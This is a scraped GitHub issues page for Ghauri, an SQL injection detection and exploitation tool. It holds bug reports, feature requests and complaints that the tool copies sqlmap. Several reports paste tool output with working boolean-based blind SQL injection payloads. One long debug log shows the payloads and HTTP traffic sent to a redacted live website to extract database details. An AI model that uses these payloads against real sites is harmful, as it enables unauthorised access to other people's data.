Giter Club home page Giter Club logo

ghauri's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ghauri's Issues

SQLMap

Dude, this is SQLMap.

Run ERROR in windows 10 & python 3.10

Describe the bug
There have a bug when I use this tools

E:\SecTools\Scan\ghauri>ghauri -u http://127.0.0.1:8000/?id=1


  ________.__                        .__  {1.0.8}
 /  _____/|  |__ _____   __ _________|__|
/   \  ___|  |  \\__  \ |  |  \_  __ \  |
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |
 \______  /___|  (____  /____/ |__|  |__|
        \/     \/     \/         https://github.com/r0oth3x49
                                 An advanced SQL injection detection & exploitation tool.



[*] starting @ 16:55:39 /2022-10-26/

Traceback (most recent call last):
  File "C:\Program Files\Python310\Scripts\ghauri-script.py", line 33, in <module>
    sys.exit(load_entry_point('ghauri==1.0.8', 'console_scripts', 'ghauri')())
  File "C:\Program Files\Python310\lib\site-packages\ghauri-1.0.8-py3.10.egg\ghauri\scripts\ghauri.py", line 391, in main
    resp = ghauri.perform_injection(
  File "C:\Program Files\Python310\lib\site-packages\ghauri-1.0.8-py3.10.egg\ghauri\ghauri.py", line 185, in perform_injection
    filepaths = session.generate_filepath(
  File "C:\Program Files\Python310\lib\site-packages\ghauri-1.0.8-py3.10.egg\ghauri\common\session.py", line 117, in generate_filepath
    self.generate(session_filepath=session_filepath)
  File "C:\Program Files\Python310\lib\site-packages\ghauri-1.0.8-py3.10.egg\ghauri\common\session.py", line 152, in generate
    conn = sqlite3.connect(session_filepath)
sqlite3.OperationalError: unable to open database file

E:\SecTools\Scan\ghauri>

E:\SecTools\Scan\ghauri>

image

python 3.10
windows 10

This is SQL map....

Why have you cloned SQL map and calling it something else?? What have you done to modify or improve the software code??

please add new two feathers

please add new two feathers
you best sql injection ever:)

but need --where sql query for search for something
or --sql-shell

and also add --password for getting root
thanks

cant run

$ghauri
Traceback (most recent call last):
File "/usr/bin/ghauri", line 33, in
sys.exit(load_entry_point('ghauri==1.0.1.dev0', 'console_scripts', 'ghauri')())
File "/usr/bin/ghauri", line 22, in importlib_load_entry_point
for entry_point in distribution(dist_name).entry_points
File "/usr/lib/python3.9/importlib/metadata.py", line 524, in distribution
return Distribution.from_name(distribution_name)
File "/usr/lib/python3.9/importlib/metadata.py", line 187, in from_name
raise PackageNotFoundError(name)
importlib.metadata.PackageNotFoundError: ghauri

Where Function

Hi,
Please add where function so we dump data like where id =1 or where admin =1
also add --fresh-queries
Thanks

Traceback error

root@reconmachine:~# ghauri https://www.site.com/reviews.php?cid=211 --dbs

Traceback (most recent call last):
File "/usr/local/bin/ghauri", line 6, in
from pkg_resources import load_entry_point
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 3251, in
@_call_aside
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 3235, in _call_aside
f(*args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 3264, in _initialize_master_working_set
working_set = WorkingSet._build_master()
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 583, in _build_master
ws.require(requires)
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 900, in require
needed = self.resolve(parse_requirements(requirements))
File "/usr/local/lib/python2.7/dist-packages/pkg_resources/init.py", line 786, in resolve
raise DistributionNotFound(req, requirers)
pkg_resources.DistributionNotFound: The 'filelock>=3.0.8' distribution was not found and is required by tldextract

--technique option not working for selecting specific technique

Technique option is not working after providing --technique=T it is still running default technique which is "BEST" I want to run only timebased payload to save time. But Its selecting default technique and running all the payload. Please fix this issue

Default option --batch

403 (Forbidden) - 121 time(s). Do you want to keep testing the others (if any) [y/N]?

it's just me but the --batch option where capital N is the default and is selecting Y?

No parameters found for testing [ERROR]

Hi!
Ghauri says there is no parameters found for testing. However I already put X-Forwarded-For: * in my request file
command used: ghauri -r request.txt --dbs
Is it me or it is happening due to a bug in ghauri itself?

This is literally a SQLMap fork

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. clone the latest version
  2. installed using following command ....
  3. Run the following command ...
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. Ubuntu/Windows/MacOS]
  • Ghauri version which is causing the error (should be latest) [e.g. 1.0.1]
  • Type of SQL injection which cause the error: [e.g. boolean/time/error based]
  • Phase where error occur: [e.g. detection/(db(s)/banner/user/table/column/data) exfiltration phase]

Additional context
Add any other context about the problem here.

Add threads

It would be better if you added a multi-thread future

Cheers!

Ghauri detected an error during banner extraction () - Possible WAF

Describe the bug
Hi Nasir,

Firstly thank you for this awesome tool which helped me secure some great bounties. I'm regular user and I love how good this project useful in detecting SQL injections become over the time.

Ok, now that real thingy, I have an issue where Ghauri detects the vulnerability, but fails to retrieve the--dbs or current-user or anything after detection. I keep getting message

[07:33:46] [WARNING] invalid character detected, retrying.
[07:33:54] [WARNING] Ghauri detected an error during banner extraction ()

I tried several different methods, however the result were same Here is the full output, if you can help me.

ghauri -r redected--dbms=mssql --banner               

                                                                                                                      
  ________.__                        .__  {1.1.8}                                                                     
 /  _____/|  |__ _____   __ _________|__|                                                                             
/   \  ___|  |  \\__  \ |  |  \_  __ \  |                                                                             
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |                                                                             
 \______  /___|  (____  /____/ |__|  |__|                                                                             
        \/     \/     \/         https://github.com/r0oth3x49                                                         
                                 An advanced SQL injection detection & exploitation tool.
  


[*] starting @ 07:32:55 /2023-03-29/                                                                                  
                                                                                                                      
[07:32:55] [INFO] parsing HTTP request from 'redected'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y

[07:32:57] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---                                                                                                                   
                                                      Parameter: TestID(GET)                                                                                                
    Type: boolean-based blind                                                                                         
    Title: AND boolean-based blind - WHERE or HAVING clause                                                           
    Payload: TestID= AND 02225=2225&fakerfake=abcs&xyx=718908495 
---                                                                                                                   
[07:32:59] [INFO] testing Microsoft SQL Server
[07:32:59] [INFO] confirming Microsoft SQL Server
[07:32:59] [INFO] the back-end DBMS is Microsoft SQL Server
[07:32:59] [INFO] fetching banner
[07:33:21] [WARNING] invalid character detected, retrying.
[07:33:29] [WARNING] invalid character detected, retrying.
[07:33:44] [WARNING] invalid character detected, retrying.
[07:33:46] [WARNING] invalid character detected, retrying.
[07:33:54] [WARNING] Ghauri detected an error during banner extraction ()

Another attempt to get dbs:

ghauri -r request-file--dbms=mssql --dbs                                                                         2 ⨯

                                                                                                                      
  ________.__                        .__  {1.1.8}                                                                     
 /  _____/|  |__ _____   __ _________|__|                                                                             
/   \  ___|  |  \\__  \ |  |  \_  __ \  |                                                                             
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |                                                                             
 \______  /___|  (____  /____/ |__|  |__|                                                                             
        \/     \/     \/         https://github.com/r0oth3x49                                                         
                                 An advanced SQL injection detection & exploitation tool.
  


[*] starting @ 07:46:19 /2023-03-29/                                                                                  
                                                                                                                      
[07:46:19] [INFO] parsing HTTP request from 'request-file'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y

[07:46:21] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---                                                                                                                   
Parameter: TestID(GET)                                                                                                
    Type: boolean-based blind                                                                                         
    Title: AND boolean-based blind - WHERE or HAVING clause                                                           
    Payload: TestID= AND 02225=2225&fakerfake=abcs&xyx=718908495                                                            
---                                                                                                                   
[07:46:22] [INFO] testing Microsoft SQL Server
[07:46:22] [INFO] confirming Microsoft SQL Server
[07:46:22] [INFO] the back-end DBMS is Microsoft SQL Server
[07:46:22] [INFO] fetching database names
[07:46:22] [INFO] fetching number of databases
[07:46:31] [WARNING] invalid character detected, retrying..
[07:46:38] [WARNING] invalid character detected, retrying..
[07:46:47] [WARNING] invalid character detected, retrying..
[07:46:59] [WARNING] invalid character detected, retrying..
[07:47:05] [WARNING] ("it appears that the character '>' and the operator(s) 'IN, BETWEEN' are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",)          
[07:47:24] [WARNING] invalid character detected, retrying.
[07:47:29] [WARNING] invalid character detected, retrying.
[07:47:35] [WARNING] invalid character detected, retrying.
[07:48:05] [WARNING] invalid character detected, retrying.
[07:48:07] [WARNING] invalid character detected, retrying.
[07:48:15] [WARNING] invalid character detected, retrying.
[07:48:39] [WARNING] invalid character detected, retrying..
[07:48:50] [WARNING] it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on BETWEEN operator                                                                                             
[07:49:43] [WARNING] invalid character detected, retrying..
[07:50:16] [WARNING] invalid character detected, retrying.
[07:50:25] [WARNING] invalid character detected, retrying.
[07:50:37] [WARNING] invalid character detected, retrying.
[07:50:50] [WARNING] invalid character detected, retrying..
[07:50:57] [WARNING] invalid character detected, retrying..
[07:51:11] [WARNING] invalid character detected, retrying..
[07:51:14] [WARNING] it was not possible to extract query output length for the SQL query provided.
[07:51:27] [WARNING] invalid character detected, retrying..
[07:52:35] [WARNING] invalid character detected, retrying.
[07:52:53] [WARNING] invalid character detected, retrying.
[07:53:31] [WARNING] invalid character detected, retrying.
[07:53:37] [INFO] retrieved: 1 
[07:53:37] [INFO] retrieved: xO^y                                                                                     
available databases [1]:                                                                                              
[*] xO^y                          

Thanks man, appreciate your work.
2023-03-29_14-52-41

Time based payload sleep times inconsistent

Default sleep time for time based payloads appears to be 9 seconds from observing the request traffic even though it states it's set to 5 as a default. Attempting to force it via --time-sec 5 and now the request payloads are sending sleep requests for 7 seconds? Another case, setting --time-sec to 6 and the payloads are sending sleep times of 9. Even more odd, any value > 10 on --time-sec seems to be sent correctly. Not sure what's going on here.

option timeout

you can add the timeout function, if you want to use arguments like xargs to pass lists of sites and if it takes a while to respond, skip to the next line of the list?

Showing this error

Traceback (most recent call last):
File "/usr/lib/python3.11/importlib/metadata/init.py", line 566, in from_name
return next(cls.discover(name=name))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
StopIteration

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/home/xyz/.local/bin/ghauri", line 33, in
sys.exit(load_entry_point('ghauri', 'console_scripts', 'ghauri')())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/shobhit/.local/bin/ghauri", line 22, in importlib_load_entry_point
for entry_point in distribution(dist_name).entry_points
^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/importlib/metadata/init.py", line 984, in distribution
return Distribution.from_name(distribution_name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/importlib/metadata/init.py", line 568, in from_name
raise PackageNotFoundError(name)
importlib.metadata.PackageNotFoundError: No package metadata was found for ghauri

need help!!

First of all thanks for your ghauri project.

Ghauri detected a vulnerable parameter. But after that ghauri does not fetching any kind of information like, db info, hostname, current-user.

could you help me please. this is my first sqli.

image

error

when dump give me error

[CRITICAL] error: <urlopen error EOF occurred in violation of protocol (_ssl.c:992)>

error extraction results

[22:35:17] [INFO] testing MySQL
[22:35:27] [WARNING] the back-end DBMS is not MySQL
[22:35:27] [INFO] fetching banner
[22:36:41] [INFO] retrieving the length of query output
[22:36:41] [INFO] retrieved:
[22:36:41] [WARNING] BSQLi detected an error during data extraction..

What happen?

ssl error

[CRITICAL] Ghauri was not able to establish connection. try checking with -v set to 5. error '<urlopen error [SSL: WRONG_SIGNATURE_TYPE] wrong signature type (_ssl.c:992)>' occured.

Not able to install

× python setup.py egg_info did not run successfully.
│ exit code: 1
╰─> [14 lines of output]
Traceback (most recent call last):
File "", line 2, in
File "", line 34, in
File "C:\Users\nisha\Downloads\ghauri-main\ghauri-main\setup.py", line 3, in
import ghauri
File "C:\Users\nisha\Downloads\ghauri-main\ghauri-main\ghauri_init_.py", line 31, in
from ghauri.ghauri import perform_injection, Ghauri
File "C:\Users\nisha\Downloads\ghauri-main\ghauri-main\ghauri\ghauri.py", line 26, in
from ghauri.common.session import session
File "C:\Users\nisha\Downloads\ghauri-main\ghauri-main\ghauri\common\session.py", line 26, in
from ghauri.common.lib import (
File "C:\Users\nisha\Downloads\ghauri-main\ghauri-main\ghauri\common\lib.py", line 43, in
import chardet
ModuleNotFoundError: No module named 'chardet'
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
error: metadata-generation-failed

Not found

I installed ghauri on my Windows Cmd exactly as in the README, but on execution, It is not found.

C:\Users\Uzer\Desktop\ghauri>ghauri --help
'ghauri' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Uzer\Desktop\ghauri>

UNSAFE_LEGACY_RENEGOTIATION_DISABLED

[*] starting @ 13:48:39 /2023-04-08/

[13:48:39] [INFO] testing connection to the target URL
[13:48:40] [CRITICAL] [SSL: UNSAFE_LEGACY_RENEGOTIATION_DISABLED] unsafe legacy renegotiation disabled (_ssl.c:992). Ghauri is going to retry..
[13:48:40] [CRITICAL] [SSL: UNSAFE_LEGACY_RENEGOTIATION_DISABLED] unsafe legacy renegotiation disabled (_ssl.c:992). Ghauri is going to retry..
^C[13:48:41] [ERROR] user quit

[*] ending @ 13:48:41 /2023-04-08/

Cannot detect * mark properly in JSON post body , json body is not well handled.

If I have multiple key value pairs in json post body like {"name":"test", "id":"1"}
and change it to {"name":"test", "id":"*"} ----> it does not detect the * mark and it keeps on automatically testing the body. Also sometimes it does not travel through the JSON well.
I tested the same POST JSON body in sqlmap but it went well there

Can not dump tables, username or any data.

Can't extract any results? I'm not sure if this is real or an unidentified false positive. SQLMAP didn't find anything already.

[02:11:54] [INFO] testing MySQL
[02:11:54] [INFO] confirming MySQL
[02:11:54] [INFO] the back-end DBMS is MySQL
[02:11:54] [INFO] fetching current user
[02:11:55] [INFO] retrieving the length of query output
[02:11:57] [INFO] retrieved: :
[02:11:57] [WARNING] it was not possible to extract query output length for the SQL query provided.
[02:11:57] [WARNING] Ghauri detected an error during current user extraction ()



[*] starting @ 02:48:50 /2023-03-29/                                                                                                                                                                                                       
                                                                                                                                                                                                                                           
[02:48:50] [DEBUG] InjectionPoints(custom_injection_in=[], is_multipart=False, is_json=False, injection_point={'GET': [<Parameter('_rid')>]})
[02:48:50] [INFO] testing connection to the target URL
[02:48:50] [TRAFFIC_OUT] HTTP request [#1]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1 HTTP/1.1                                                                                                                                                                  
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
[02:48:51] [TRAFFIC_IN] HTTP response [#1]:
HTTP/1.1 200 OK                                                                                                                                                                                                                            
Server: jsd22                                                                                                                                                                                                                               
Cache-Control: no-cache                                                                                                                                                                                                                    
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                                                                          
X-Akamai-Transformed: 9 1315 0 pmb=mTOE,2mRUM,3                                                                                                                                                                                            
Vary: Accept-Encoding                                                                                                                                                                                                                      
Date: Wed, 29 Mar 2023 06:48:52 GMT                                                                                                                                                                                                        
Content-Length: 10253                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                                                                                                                                                                                     
Server-Timing: cdn-cache; desc=MISS                                                                                                                                                                                                        
aka-global-request-id-uxtime: 0.170a7c68.1680072532.1447feaa                                                                                                                                                                               
X-Server: jsd22                                                                                                                                              
Strict-Transport-Security: max-age=15768000 ; preload                                                                                                                                                                                      
URI: https://www.redacted.com/redacted-web-url/additionalproducts/index.jsp?_rid=1                                                                                                                                                       
                                                                                                                                                                                                                                           
[02:48:51] [DEBUG] parameter '_rid' is already tested..
[02:48:51] [DEBUG] ghauri is going to resume target exploitation.
Ghauri resumed the following injection point(s) from stored session:
---                                                                                                                                                                                                                                        
Parameter: _rid (GET)                                                                                                                                                                                                                
    Type: boolean-based blind                                                                                                                                                                                                              
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)                                                                                                                                                                           
    Payload: _rid=1) OR NOT 04686=4686 AND (04586=4586                                                                                                                                                                               
---                                                                                                                                                                                                                                        
[02:48:51] [INFO] testing MySQL
[02:48:51] [PAYLOAD] ) OR NOT (SELECT QUARTER(NULL)) IS NULL AND (04586=4586
[02:48:51] [TRAFFIC_OUT] HTTP request [#2]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20(SELECT%20QUARTER(NULL))%20IS%20NULL%20AND%20(04586=4586 HTTP/1.1                                                                                           
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
[02:48:52] [TRAFFIC_IN] HTTP response [#2]:
HTTP/1.1 200 OK                                                                                                                                                                                                                            
Server: jsd22                                                                                                                                                                                                                               
Cache-Control: no-cache                                                                                                                                                                                                                    
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                
UXTIME: ZCPfVQto8xaC-Y6KOmJRzwAAAEc D=59349                                                                                                                                                                                                
X-Akamai-Transformed: 9 1373 0 pmb=mTOE,2mRUM,3                                                                                                                                                                                            
Vary: Accept-Encoding                                                                                                                                                                                                                      
Date: Wed, 29 Mar 2023 06:48:53 GMT                                                                                                                                                                                                        
Content-Length: 10366                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
Set-Cookie: TLTSID=C4D7649ECDFD10CD3B16EC36A5806855; Path=/; Domain=.redacted.com                                                                                                                                                               
Server-Timing: cdn-cache; desc=MISS                                                                                                                                                                                                        
aka-global-request-id-uxtime: 0.170a7c68.1680072533.1447ff58                                                                                                                                                                               
X-Server: jsd22                                                                                                                                              
Strict-Transport-Security: max-age=15768000 ; preload                                                                                                                                                                                      
URI: https://www.redacted.com/redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20(SELECT%20QUARTER(NULL))%20IS%20NULL%20AND%20(04586=4586                                                                                
                                                                                                                                                                                                                                           
[02:48:52] [DEBUG] ratio false payload attack: 0.984
[02:48:52] [DEBUG] ratio true payload attack: 0.988
[02:48:52] [DEBUG] possible injectable cases detected: 'Page Ratio'
[02:48:52] [DEBUG] replace   string[29:34] --> not_string[9:11]     'gl' --> 'fr'
[02:48:52] [DEBUG] replace   string[35:38] --> not_string[12:18]    'bal' --> 'm Ad T'
[02:48:52] [DEBUG] replace   string[70:74] --> not_string[46:50]   '.tit' --> 'To'
[02:48:52] [DEBUG] replace   string[84:87] --> not_string[57:60]    'ddi' --> 'bou'
[02:48:52] [DEBUG] replace   string[90:94] --> not_string[72:75]   'nalC' --> 'r c'
[02:48:52] [DEBUG] replace   string[100:102] --> not_string[81:96]     '.z' --> 'for products'
[02:48:52] [DEBUG] replace   string[103:105] --> not_string[97:111]     'pI' --> 'n your area e'
[02:48:52] [DEBUG] injectable with --string=".tit".
[02:48:52] [DEBUG] injectable with cases: 'Page Ratio'.
[02:48:52] [INFO] confirming MySQL
[02:48:52] [PAYLOAD] ) OR NOT SESSION_USER() LIKE USER() AND (04586=4586
[02:48:52] [TRAFFIC_OUT] HTTP request [#3]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20SESSION_USER()%20LIKE%20USER()%20AND%20(04586=4586 HTTP/1.1                                                                                                 
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
[02:48:52] [TRAFFIC_IN] HTTP response [#3]:
HTTP/1.1 200 OK                                                                                                                                                                                                                            
Server: jsd22                                                                                                                                                                                                                               
Cache-Control: no-cache                                                                                                                                                                                                                    
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                
UXTIME: ZCPfVW9DJ-GPXXVDNErkXwAAAFc D=62195                                                                                                                                                                                                
X-Akamai-Transformed: 9 1367 0 pmb=mTOE,2mRUM,3                                                                                                                                                                                            
Vary: Accept-Encoding                                                                                                                                                                                                                      
Date: Wed, 29 Mar 2023 06:48:53 GMT                                                                                                                                                                                                        
Content-Length: 10361                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
Set-Cookie: TLTSID=C510B500CDFD10CD3B3A8294DCDC1CD0; Path=/; Domain=.redacted.com                                                                                                                                                               
Server-Timing: cdn-cache; desc=MISS                                                                                                                                                                                                        
aka-global-request-id-uxtime: 0.170a7c68.1680072533.14480015                                                                                                                                                                               
X-Server: jsd22                                                                                                                                              
Strict-Transport-Security: max-age=15768000 ; preload                                                                                                                                                                                      
URI: https://www.redacted.com/redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20SESSION_USER()%20LIKE%20USER()%20AND%20(04586=4586                                                                                      
                                                                                                                                                                                                                                           
[02:48:52] [DEBUG] ratio false payload attack: 0.984
[02:48:52] [DEBUG] ratio true payload attack: 0.987
[02:48:52] [DEBUG] possible injectable cases detected: 'Page Ratio'
[02:48:52] [DEBUG] replace   string[29:34] --> not_string[9:11]     'gl' --> 'fr'
[02:48:52] [DEBUG] replace   string[35:38] --> not_string[12:18]    'bal' --> 'm AT T'
[02:48:52] [DEBUG] replace   string[70:74] --> not_string[46:50]   '.tit' --> 'To'
[02:48:52] [DEBUG] replace   string[84:87] --> not_string[57:60]    'ddi' --> 'bou'
[02:48:52] [DEBUG] replace   string[90:94] --> not_string[72:75]   'nalC' --> 'r c'
[02:48:52] [DEBUG] replace   string[100:102] --> not_string[81:96]     '.z' --> 'for customers'
[02:48:52] [DEBUG] replace   string[103:105] --> not_string[97:111]     'pI' --> 'n your area e'
[02:48:52] [DEBUG] injectable with --string=".tit".
[02:48:52] [DEBUG] injectable with cases: 'Page Ratio'.
[02:48:52] [INFO] the back-end DBMS is MySQL
[02:48:52] [INFO] fetching current database
[02:48:52] [DEBUG] fetching number of characters in length of query..
[02:48:52] [PAYLOAD] ) OR NOT LENGTH(LENGTH(DATABASE()))=1 AND (04586=4586
[02:48:52] [TRAFFIC_OUT] HTTP request [#4]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20LENGTH(LENGTH(DATABASE()))=1%20AND%20(04586=4586 HTTP/1.1                                                                                                   
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
[02:48:52] [TRAFFIC_IN] HTTP response [#4]:
HTTP/1.1 200 OK                                                                                                                                                                                                                            
Server: jsd22                                                                                                                                                                                                                               
Cache-Control: no-cache                                                                                                                                                                                                                    
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                
UXTIME: ZCPfVQto8xaC-Y6KOmJR0AAAAEc D=34779                                                                                                                                                                                                
X-Akamai-Transformed: 9 1369 0 pmb=mTOE,2mRUM,3                                                                                                                                                                                            
Vary: Accept-Encoding                                                                                                                                                                                                                      
Date: Wed, 29 Mar 2023 06:48:54 GMT                                                                                                                                                                                                        
Content-Length: 10358                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
Set-Cookie: TLTSID=C54F9676CDFD10CD3B17EC36A5806855; Path=/; Domain=.redacted.com                                                                                                                                                               
Server-Timing: cdn-cache; desc=MISS                                                                                                                                                                                                        
aka-global-request-id-uxtime: 0.170a7c68.1680072533.144800f4                                                                                                                                                                               
X-Server: jsd22                                                                                                                                              
Strict-Transport-Security: max-age=15768000 ; preload                                                                                                                                                                                      
URI: https://www.redacted.com/redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20LENGTH(LENGTH(DATABASE()))=1%20AND%20(04586=4586                                                                                        
                                                                                                                                                                                                                                           
[02:48:52] [DEBUG] ratio false payload attack: 0.984
[02:48:52] [DEBUG] ratio true payload attack: 0.988
[02:48:52] [DEBUG] possible injectable cases detected: 'Page Content'
[02:48:52] [DEBUG] injectable with cases: 'Page Content'.
[02:48:52] [DEBUG] retrieved number of characters in length query 1
[02:48:52] [DEBUG] working payload found: 'DATABASE()'
[02:48:52] [DEBUG] fetching number of characters in length of query..
[02:48:52] [PAYLOAD] ) OR NOT LENGTH(LENGTH(DATABASE()))=1 AND (04586=4586
[02:48:52] [TRAFFIC_OUT] HTTP request [#5]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20LENGTH(LENGTH(DATABASE()))=1%20AND%20(04586=4586 HTTP/1.1                                                                                                   
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
                                                                                                                                                                                                                                           
[02:48:53] [TRAFFIC_IN] HTTP response [#5]:
HTTP/1.1 200 OK                                                                                                                                                                                                                            
Server: jsd22                                                                                                                                                                                                                               
Cache-Control: no-cache                                                                                                                                                                                                                    
Content-Type: text/html; charset=UTF-8                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                
UXTIME: ZCPfVm9DJ-GPXXVDNErkYAAAAFc D=33013                                                                                                                                                                                                
X-Akamai-Transformed: 9 1369 0 pmb=mTOE,2mRUM,3                                                                                                                                                                                            
Vary: Accept-Encoding                                                                                                                                                                                                                      
Date: Wed, 29 Mar 2023 06:48:54 GMT                                                                                                                                                                                                        
Content-Length: 10358                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
Set-Cookie: TLTSID=C58CB3C6CDFD10CD3B3B8294DCDC1CD0; Path=/; Domain=.redacted.com                                                                                                                                                               
Server-Timing: cdn-cache; desc=MISS                                                                                                                                                                                                        
aka-global-request-id-uxtime: 0.170a7c68.1680072534.1448018c                                                                                                                                                                               
X-Server: jsd22                                                                                                                                              
Strict-Transport-Security: max-age=15768000 ; preload                                                                                                                                                                                      
URI: https://www.redacted.com/redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20LENGTH(LENGTH(DATABASE()))=1%20AND%20(04586=4586                                                                                        
                                                                                                                                                                                                                                           
[02:48:53] [DEBUG] ratio false payload attack: 0.984
[02:48:53] [DEBUG] ratio true payload attack: 0.988
[02:48:53] [DEBUG] possible injectable cases detected: 'Page Content'
[02:48:53] [DEBUG] injectable with cases: 'Page Content'.
[02:48:53] [DEBUG] retrieved number of characters in length query 1
[02:48:53] [INFO] retrieving the length of query output
[02:48:53] [PAYLOAD] ) OR NOT ORD(MID(LENGTH(DATABASE()),1,1))>53 AND (04586=4586
[02:48:53] [TRAFFIC_OUT] HTTP request [#6]:
GET /redacted-web-url/additionalproducts/index.jsp?_rid=1)%20OR%20NOT%20ORD(MID(LENGTH(DATABASE()),1,1))%3E53%20AND%20(04586=4586 HTTP/1.1                                                                                          
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36                                                                                                             
Host: www.redacted.com                                                                                                                                                                                                                          
Cache-Control: no-cache                                                                                                                                                                                                                    
Accept: */*                                                                                                                                                                                                                                
Accept-Encoding: none                                                                                                                                                                                                                      
Connection: close                                                                                                                                                                                                                          
